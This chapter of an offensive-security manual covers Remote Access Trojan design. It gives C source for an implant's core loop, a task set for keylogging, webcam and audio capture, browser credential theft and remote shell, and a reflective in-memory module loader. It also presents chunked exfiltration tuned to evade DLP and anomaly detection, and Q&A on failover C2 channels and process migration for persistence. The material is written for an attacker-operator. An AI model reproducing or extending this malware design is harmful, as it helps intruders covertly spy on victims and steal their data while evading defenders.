Chapter 71

RAT Architecture and Agent Design

A Remote Access Trojan (RAT) is a full-featured implant that gives an operator persistent, interactive control over a compromised machine: capture what the user sees, hears, and types; browse and exfiltrate files; issue commands and collect output; pivot to other systems. Building a RAT that's actually useful — not just a single-trick shellcode runner — requires thinking about architecture before writing a line of capability code. This chapter lays that foundation: the agent model, the plugin/capability system, the task queue, the chunked exfiltration pipeline, and the communication protocol design that the following seventeen chapters build on.

Core Architecture

RAT component architecture — how all the pieces connect
  ┌─────────────────────────────────────────────────────────────────────┐
  │                    RAT AGENT (victim machine)                       │
  │                                                                     │
  │  ┌──────────────┐  ┌───────────────┐  ┌─────────────────────────┐  │
  │  │ Comm Module  │  │  Task Queue   │  │  Plugin/Capability Sys  │  │
  │  │              │  │               │  │                         │  │
  │  │ HTTPS beacon │◄─┤ pending tasks │  │  keylogger.dll          │  │
  │  │ DNS fallback │  │ running tasks │  │  screenshot.dll         │  │
  │  │ JA3 random   │  │ result buffer │  │  webcam.dll             │  │
  │  └──────┬───────┘  └───────┬───────┘  │  audio.dll             │  │
  │         │                  │           │  browser_harvest.dll    │  │
  │         │         ┌────────▼────────┐  │  remote_shell.dll       │  │
  │         │         │ Task Dispatcher │  │  file_browser.dll       │  │
  │         │         │                 │  └─────────────────────────┘  │
  │         │         │ dispatches to   │                               │
  │         │         │ capability DLLs │◄─── loaded on demand via      │
  │         │         └────────┬────────┘     reflective injection      │
  │         │                  │               (never on disk)          │
  │         │         ┌────────▼────────┐                               │
  │         └────────►│  Result Buffer  │  chunked, encrypted, queued   │
  │                   │                 │  for next beacon window       │
  │                   └─────────────────┘                               │
  └─────────────────────────────────────────────────────────────────────┘
                              │ HTTPS beacon every T±jitter seconds
                              ▼
  ┌─────────────────────────────────────────────────────────────────────┐
  │                    C2 SERVER (attacker)                             │
  │                                                                     │
  │  ┌──────────────┐  ┌───────────────┐  ┌──────────────────────────┐ │
  │  │ HTTPS Server │  │  Agent Table  │  │  Operator Console        │ │
  │  │  (nginx+TLS) │  │  per-agent:   │  │  issue tasks             │ │
  │  │              │  │    id, IP,    │  │  view results            │ │
  │  │  Malleable   │  │    OS, tasks  │  │  live keylog stream      │ │
  │  │  responses   │  │    pending    │  │  screenshot gallery      │ │
  │  └──────────────┘  └───────────────┘  └──────────────────────────┘ │
  └─────────────────────────────────────────────────────────────────────┘
  
  Design principles:
  ─────────────────────────────────────────────────────────────────────────
  1. MODULAR: each capability is a separate loadable module
     → operator loads only what's needed → smaller memory footprint
     → EDR sees fewer suspicious behaviors (keylogger only loads if ordered)
  
  2. ASYNC: tasks run in background threads, results queue for next beacon
     → agent never blocks on capability (screenshot doesn't delay comms)
  
  3. CHUNKED EXFIL: all results split into fixed-size chunks (default 64KB)
     → prevents large data bursts that anomaly detection catches
     → enables reliable transfer over unreliable channels
  
  4. ENCRYPTED: all communication AES-256-GCM, per-session key negotiated
     → session key established at first beacon via ECDH exchange
     → even if TLS is terminated by DLP proxy, payload is still encrypted

Agent Core Implementation

/* rat_core.c — Core agent loop: beacon, receive tasks, dispatch, return results
   
   This is the skeleton that all capability chapters plug into.
   Each capability implements:
     - A run() function (starts the capability in a background thread)
     - A stop() function (cleanly terminates it)
     - A get_results() function (returns accumulated data for exfil)
   
   The agent core manages:
     - The beacon interval (sleep + jitter)
     - The task queue (receive from server, route to capability)
     - The result buffer (accumulate from capabilities, chunk for exfil)
*/

#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "bcrypt.lib")

/* ── Task structure ────────────────────────────────────────────────── */
#define TASK_ID_LEN       16
#define TASK_TYPE_MAXLEN  32

typedef enum {
    TASK_SCREENSHOT     = 0x01,
    TASK_KEYLOG_START   = 0x02,
    TASK_KEYLOG_STOP    = 0x03,
    TASK_KEYLOG_DUMP    = 0x04,
    TASK_SCREEN_RECORD  = 0x05,
    TASK_WEBCAM_SNAP    = 0x06,
    TASK_AUDIO_RECORD   = 0x07,
    TASK_CLIPBOARD_DUMP = 0x08,
    TASK_FILE_BROWSE    = 0x10,
    TASK_FILE_DOWNLOAD  = 0x11,
    TASK_FILE_UPLOAD    = 0x12,
    TASK_SHELL_EXEC     = 0x20,
    TASK_BROWSER_CREDS  = 0x30,
    TASK_PROCESS_LIST   = 0x40,
    TASK_NET_SCAN       = 0x50,
    TASK_KILL_SELF      = 0xFF,
} TaskType;

typedef struct {
    BYTE     task_id[TASK_ID_LEN];  /* 16-byte random task identifier */
    TaskType type;
    BYTE     *params;               /* task-specific parameters (e.g., path for file download) */
    DWORD    params_len;
    DWORD    result_status;         /* 0=pending, 1=running, 2=complete, 3=error */
    BYTE     *result_data;
    DWORD    result_len;
} Task;

/* ── Result buffer — thread-safe accumulator ─────────────────────────── */
typedef struct {
    CRITICAL_SECTION lock;
    BYTE *data;
    DWORD len;
    DWORD capacity;
} ResultBuffer;

static ResultBuffer g_results;

void result_buffer_init(void) {
    InitializeCriticalSection(&g_results.lock);
    g_results.capacity = 1024 * 1024;  /* 1MB initial */
    g_results.data = (BYTE*)VirtualAlloc(NULL, g_results.capacity,
                                          MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    g_results.len = 0;
}

void result_buffer_append(const BYTE *data, DWORD len) {
    EnterCriticalSection(&g_results.lock);
    if (g_results.len + len > g_results.capacity) {
        /* Grow by 2x */
        g_results.capacity *= 2;
        BYTE *new_buf = (BYTE*)VirtualAlloc(NULL, g_results.capacity,
                                             MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        memcpy(new_buf, g_results.data, g_results.len);
        SecureZeroMemory(g_results.data, g_results.len);
        VirtualFree(g_results.data, 0, MEM_RELEASE);
        g_results.data = new_buf;
    }
    memcpy(g_results.data + g_results.len, data, len);
    g_results.len += len;
    LeaveCriticalSection(&g_results.lock);
}

/* ── Result framing — wrap result in a typed frame for C2 parsing ─────── */
/*
 * Each result has a 12-byte header:
 *   [4] task_type (DWORD LE)
 *   [4] data_length (DWORD LE)
 *   [4] timestamp (DWORD LE — Unix epoch)
 *   [N] data
 */
void append_result(TaskType type, const BYTE *data, DWORD data_len) {
    BYTE header[12];
    *(DWORD*)(header+0) = (DWORD)type;
    *(DWORD*)(header+4) = data_len;
    *(DWORD*)(header+8) = (DWORD)time(NULL);
    result_buffer_append(header, 12);
    result_buffer_append(data, data_len);
}

/* ── Beacon interval with jitter ─────────────────────────────────────── */
/*
 * Beacon every base_ms ± jitter_percent.
 * A 30s beacon with 25% jitter sleeps between 22.5s and 37.5s.
 * Irregular intervals defeat "connection every exactly 30 seconds" detection.
 */
static void beacon_sleep(DWORD base_ms, DWORD jitter_percent) {
    DWORD range = (base_ms * jitter_percent) / 100;
    DWORD random_ms;
    BCryptGenRandom(NULL, (BYTE*)&random_ms, sizeof(random_ms),
                    BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    random_ms = random_ms % (range * 2);  /* 0 to 2*range */
    DWORD sleep_ms = base_ms - range + random_ms;  /* base ± range */
    Sleep(sleep_ms);
}

/* ── Main agent loop ─────────────────────────────────────────────────── */
void agent_main_loop(void) {
    result_buffer_init();
    DWORD beacon_base = 30000;  /* 30 second base beacon */
    DWORD jitter      = 25;     /* ±25% */

    while (TRUE) {
        /* 1. Send pending results (if any) and receive new tasks */
        /* (comms module from Ch73 / Part 12) */
        BYTE *tasks_json = NULL;
        DWORD tasks_len  = 0;
        /* comms_beacon(g_results.data, g_results.len, &tasks_json, &tasks_len); */
        
        /* Clear sent results */
        EnterCriticalSection(&g_results.lock);
        g_results.len = 0;
        LeaveCriticalSection(&g_results.lock);

        /* 2. Parse and dispatch tasks */
        /* (parse_and_dispatch(tasks_json, tasks_len)) */

        /* 3. Sleep until next beacon */
        beacon_sleep(beacon_base, jitter);
    }
}

Plugin Model — Capabilities as Loadable Modules

/* ── Capability plugin interface ─────────────────────────────────────── */
/*
 * Each capability module exports these three functions.
 * The agent core calls them by name after reflectively loading the module.
 * Modules are NEVER written to disk — loaded from encrypted blobs in memory.
 */

/* Capability module interface (every capability module exports these): */
typedef BOOL (*CapStart)(PVOID params, DWORD params_len);   /* start capturing */
typedef VOID (*CapStop)(VOID);                               /* stop cleanly */
typedef BOOL (*CapDump)(BYTE **data_out, DWORD *len_out);   /* retrieve accumulated data */

typedef struct {
    const char *name;       /* e.g., "keylogger" */
    HMODULE     hModule;    /* handle after loading */
    CapStart    fn_start;
    CapStop     fn_stop;
    CapDump     fn_dump;
    BOOL        is_running;
} Capability;

/* Global capability registry */
#define MAX_CAPS 32
static Capability g_caps[MAX_CAPS];
static DWORD g_cap_count = 0;

/* Load a capability from an in-memory DLL blob (reflective injection) */
BOOL load_capability(const char *name, const BYTE *dll_blob, DWORD blob_len) {
    if (g_cap_count >= MAX_CAPS) return FALSE;
    
    /* Reflectively load the DLL (Ch29 technique) */
    /* ReflectiveLoad(dll_blob, blob_len, &hModule) */
    HMODULE hMod = NULL;  /* = reflective_load(dll_blob, blob_len) */
    if (!hMod) {
        printf("[-] Failed to reflectively load capability: %s\n", name);
        return FALSE;
    }

    Capability *cap = &g_caps[g_cap_count];
    cap->name       = name;
    cap->hModule    = hMod;
    cap->fn_start   = (CapStart) GetProcAddress(hMod, "cap_start");
    cap->fn_stop    = (CapStop)  GetProcAddress(hMod, "cap_stop");
    cap->fn_dump    = (CapDump)  GetProcAddress(hMod, "cap_dump");
    cap->is_running = FALSE;

    if (!cap->fn_start || !cap->fn_stop || !cap->fn_dump) {
        printf("[-] Capability %s missing required exports\n", name);
        return FALSE;
    }

    g_cap_count++;
    printf("[+] Capability loaded: %s\n", name);
    return TRUE;
}

Capability *find_capability(const char *name) {
    for (DWORD i = 0; i < g_cap_count; i++) {
        if (strcmp(g_caps[i].name, name) == 0)
            return &g_caps[i];
    }
    return NULL;
}

/* Dispatch a task to the appropriate capability */
BOOL dispatch_task(Task *task) {
    const char *cap_name = NULL;
    switch (task->type) {
        case TASK_KEYLOG_START: cap_name = "keylogger"; break;
        case TASK_SCREENSHOT:   cap_name = "screenshot"; break;
        case TASK_WEBCAM_SNAP:  cap_name = "webcam"; break;
        case TASK_AUDIO_RECORD: cap_name = "audio"; break;
        case TASK_SHELL_EXEC:   cap_name = "remote_shell"; break;
        case TASK_BROWSER_CREDS: cap_name = "browser_harvest"; break;
        case TASK_FILE_BROWSE:  cap_name = "file_browser"; break;
        default: return FALSE;
    }
    Capability *cap = find_capability(cap_name);
    if (!cap) {
        /* Capability not loaded yet — request from C2 on next beacon */
        printf("[!] Capability '%s' not loaded — will request from C2\n", cap_name);
        return FALSE;
    }
    return cap->fn_start(task->params, task->params_len);
}

Chunked Exfiltration Design

Chunked exfil pipeline — avoiding data burst anomalies
  Problem: a 10MB screenshot exfiltration in a single HTTP response is
  IMMEDIATELY anomalous. Network DLP and anomaly detection fire on
  "workstation sent 10MB to unknown host over HTTPS."
  
  Solution: chunk everything, spread across multiple beacon windows.
  ─────────────────────────────────────────────────────────────────────────
  Capability produces 10MB screenshot data.
  Result buffer accumulates the data.
  
  Next beacon window:
    Total result buffer: 10MB
    Chunk size: 64KB (configurable — default chosen to look like browser traffic)
    Beacon response: sends 64KB in this beacon's HTTP response body
    
  Next beacon (30 seconds later): sends next 64KB
  ...
  157 beacon windows × 64KB = 10MB fully exfiltrated
  ~78 minutes to exfiltrate 10MB at 30-second beacons
  
  Each 64KB transfer looks like a normal web API response.
  No single request is anomalous. The pattern over time is the signal.
  
  Exfiltration rate tuning table:
  ─────────────────────────────────────────────────────────────────────────
  Chunk size    Beacon interval    Rate              Anomaly risk
  64KB          30s               2.1 KB/s          Very low (browser-like)
  256KB         30s               8.5 KB/s          Low
  1MB           30s               33 KB/s           Medium (file download-like)
  64KB          5s                12.8 KB/s         Low (active user simulation)
  
  CRITICAL: Set chunk size based on target network monitoring:
    Enterprise with DLP: 64KB or smaller
    Lightly monitored: 256KB
    Time-sensitive (IR team incoming): 1MB+, accept the detection risk

Questions & Answers

Why use a plugin model instead of building all capabilities directly into the main agent binary?

Three operational reasons: (1) Size and signature surface — a monolithic agent with keylogger, webcam, audio, browser harvest, and screen record all compiled in is 2-5MB and has signatures for every capability's code in the binary on disk. A modular agent is 50-100KB (just the core), and capability modules are downloaded encrypted from C2 only when needed. EDR scanners and static analysis only see the core. (2) Operational OPSEC — if you're in a sensitive environment and only need screenshots, don't download or run the keylogger module. Fewer API calls, fewer behavioral signals. The ETW-TI events that fire for a keylogger hook never appear if you never load it. (3) Updates — upgrade a single capability module without replacing the entire implant. The core stays resident, modules hot-load via reflective injection. This mirrors how professional C2 frameworks (Cobalt Strike's Beacon with its COFF loader, Sliver's extensions) are designed.

How should task IDs be used to prevent replay attacks on the C2 channel?

The 16-byte task ID serves as a nonce that the agent must track — if the same task ID is delivered twice (which could happen if the C2 server retransmits or if a man-in-the-middle replays a captured request), the agent ignores the duplicate. Maintain a recent-task-ID cache (e.g., last 100 task IDs with timestamps). Task IDs should be cryptographically random (BCryptGenRandom) so they can't be predicted by an observer. Combined with the session AES-256-GCM encryption (which includes a GCM tag that prevents ciphertext modification), the full replay protection is: AES-GCM prevents ciphertext modification, task ID deduplication prevents replay of legitimately captured encrypted tasks. Don't reuse IVs across the GCM encryption — track the IV counter per session.

How does the operator know which capabilities are available if modules are loaded on demand?

The agent reports its capability inventory in the first beacon (and on request): a list of capability names + version hashes of currently-loaded modules. The C2 console shows the operator: "Available: [keylogger, screenshot, remote_shell]. Not loaded: [webcam, audio, browser_harvest, ...]". The operator requests a capability: the server queues a "load_capability" task, which the agent picks up in the next beacon. The response to that task contains the encrypted capability DLL blob. The agent loads it reflectively and sends back "capability loaded: webcam v1.2." This flow — request → server sends encrypted module → agent loads in memory — keeps modules off disk and lets the operator build up capabilities incrementally based on the target's value and risk tolerance.

What's the correct way to handle beacon failures (C2 unreachable)?

The agent must assume C2 will be unreachable for extended periods (server maintenance, domain burndown, network egress blocking). Design the failover chain: (1) Primary: HTTPS to main C2 host, (2) Backup: HTTPS to secondary host or domain, (3) DNS TXT record fallback: pre-configured domain whose TXT record contains the fallback C2 IP/domain (update the DNS record when primary fails), (4) Passive fallback: if all comms fail for N consecutive beacons, enter "zombie mode" — longer sleep interval (4-8 hours), fewer retries, wait for network conditions to change. Results continue to accumulate in the buffer during beacon failures — they're queued and sent when comms recover. Cap the buffer at a maximum size (e.g., 100MB) and discard oldest results to prevent memory exhaustion during extended outages.

How do you design the agent to survive process migration (being injected into a new host process)?

Process migration — moving the agent from one host process to another (e.g., from a dying temporary process to svchost.exe) — requires that the agent be self-contained: no static variables that reference absolute addresses (handle this with PIC-style code or relocatable modules), no handles to objects in the old process (file handles, event handles must be re-opened in the new process after migration), and a clean state serialization: before migrating, serialize the current state (task queue, result buffer, session key, loaded capability table) to a temporary shared memory section, inject the agent code into the target process, signal it to deserialize the state, and optionally kill the old process. Cobalt Strike's "inject" and "migrate" commands implement exactly this. The result: the agent survives indefinitely by hopping between long-lived processes (svchost.exe, explorer.exe) when the current host process exits or is about to be terminated.